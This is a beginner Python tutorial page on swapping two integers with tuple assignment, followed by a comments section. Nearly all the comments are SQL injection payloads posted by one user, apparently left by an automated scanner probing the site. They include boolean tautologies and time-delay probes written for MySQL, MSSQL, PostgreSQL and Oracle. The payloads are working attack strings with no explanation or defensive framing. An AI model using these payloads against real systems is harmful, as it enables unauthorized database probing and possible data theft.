Swap two numbers in Python

Python program to get two integers a and b from user and swap the values

Sample Input 1:

6 5

Sample Output 1:

5 6

Program or Solution

				
			
					
a=int(input("enter the first number:"))
b=int(input("enter the second number:"))
a,b=b,a
print("a:{} b:{}".format(a,b))

			
				
			

Program Explanation

Get a and b using input() method swap the values using tuple assignment feature in python.

Print a and b using print() method

Comments

ubaTaeCJ
-1 OR 2+550-550-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3+550-550-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3*2<(0+5+550-550) --
ubaTaeCJ
-1 OR 3*2>(0+5+550-550) --
ubaTaeCJ
-1 OR 2+565-565-1=0+0+0+1
ubaTaeCJ
-1 OR 3+565-565-1=0+0+0+1
ubaTaeCJ
-1 OR 3*2<(0+5+565-565)
ubaTaeCJ
-1 OR 3*2>(0+5+565-565)
ubaTaeCJ
-1' OR 2+760-760-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3+760-760-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3*2<(0+5+760-760) --
ubaTaeCJ
-1' OR 3*2>(0+5+760-760) --
ubaTaeCJ
-1' OR 2+211-211-1=0+0+0+1 or 'BhvkBN9F'='
ubaTaeCJ
-1' OR 3+211-211-1=0+0+0+1 or 'BhvkBN9F'='
ubaTaeCJ
-1' OR 3*2<(0+5+211-211) or 'BhvkBN9F'='
ubaTaeCJ
-1' OR 3*2>(0+5+211-211) or 'BhvkBN9F'='
ubaTaeCJ
-1" OR 2+86-86-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3+86-86-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3*2<(0+5+86-86) --
ubaTaeCJ
-1" OR 3*2>(0+5+86-86) --
ubaTaeCJ
if(now()=sysdate(),sleep(15),0)
ubaTaeCJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
ubaTaeCJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
ubaTaeCJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
ubaTaeCJ
-1; waitfor delay '0:0:15' --
ubaTaeCJ
-1); waitfor delay '0:0:15' --
ubaTaeCJ
1 waitfor delay '0:0:15' --
ubaTaeCJ
WglFJquh'; waitfor delay '0:0:15' --
ubaTaeCJ
-5 OR 280=(SELECT 280 FROM PG_SLEEP(15))--
ubaTaeCJ
-5) OR 509=(SELECT 509 FROM PG_SLEEP(15))--
ubaTaeCJ
-1)) OR 547=(SELECT 547 FROM PG_SLEEP(15))--
ubaTaeCJ
bwiaGn54' OR 649=(SELECT 649 FROM PG_SLEEP(15))--
ubaTaeCJ
rhd85NfB') OR 405=(SELECT 405 FROM PG_SLEEP(15))--
ubaTaeCJ
hjCdeamy')) OR 73=(SELECT 73 FROM PG_SLEEP(15))--
ubaTaeCJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
ubaTaeCJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
ubaTaeCJ
1'"
ubaTaeCJ
@@WCAiQ